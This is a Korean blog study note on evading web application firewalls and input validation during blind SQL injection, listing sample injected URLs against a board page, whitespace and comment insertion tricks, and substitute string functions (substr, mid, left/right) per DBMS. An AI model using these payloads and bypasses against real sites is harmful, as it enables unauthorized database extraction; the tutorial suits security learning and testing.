Oh! JUN
7) 보안 솔루션 및 입력 값 검증 우회 기법 본문
※함수 검증 우회 기법※
boardView.do?idx=100 and ascii(substring(@@version,1,1))&1=1-- | 차단 |
boardView.do?idx=100 and ascii('a')=97-- | 정상 |
boardView.do?idx=100 and substring('test',1,1)='t'-- | 차단 |
ascii와 substring 같이 사용할때 차단이고, ascii 혼자일때는 정상, substring 혼자일때도 차단이니까
substring 함수가 문제였다.
but 주의할점
ascii와 substring 함수가 같이 사용되면 막히는 경우도 있음
※우회※
1. 의미 없는 문자 삽입
분류 | 문자 |
공백 관련 문자 | %09 |
%0A | |
%0B | |
%0C | |
%0D | |
%A0 | |
주석 문자 | /**/ |
ex) boardView.do?idx=100 and substring[point]([point]'test',1,1)='t'-- |
2. 대체 함수 사용
DBMS | 함수 |
MYSQL | substring |
substr | |
mid | |
MSSQL | substring |
ORACLE | substr |
어라? MYSQL은 3개정도 있으니까 그렇다하고, MSSQL, ORACLE은 어떻게 우회를 하지?
left, right함수
Query | 결과 |
select right('abcd',1) | 'd' |
select right('abcd',2) | 'cd' |
select left('abcd', 1) | 'a' |
select left( 'abcd', 2) | 'ab' |
select rigth(left('abcd',1),1) | 'a' |
select rigth(left('abcd',2),1) | 'b' |
select rigth(left('abcd',3),1) | 'c' |
select rigth(left('abcd',4),1) | 'd' |
select rigth(left('abcd',3),1)
left('abcd', 3)은 왼쪽부터 3개의 문자니까 'abc'
보기좋게 치환시키면 select right('abc', 1) 되니까 'abc'에서 오른부터 1개의 문자니까 'c'
결국 right, left 함수를 사용해서 substring, substr와 같이 문자하나를 추출할 수 있다.
★★★★★
oracle은 right(), left() 내장함수에 존재하지 않아서 사용 안됨
'웹 해킹 > SQL Injection' 카테고리의 다른 글
2) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.11.14 |
---|---|
8) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.12 |
6) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.09 |
SQL Injection을 통한 데이터 조회 공격 실습 (0) | 2022.10.02 |
SQL Injection을 통한 파일 다운로드 취약점 공격 실습 (0) | 2022.10.02 |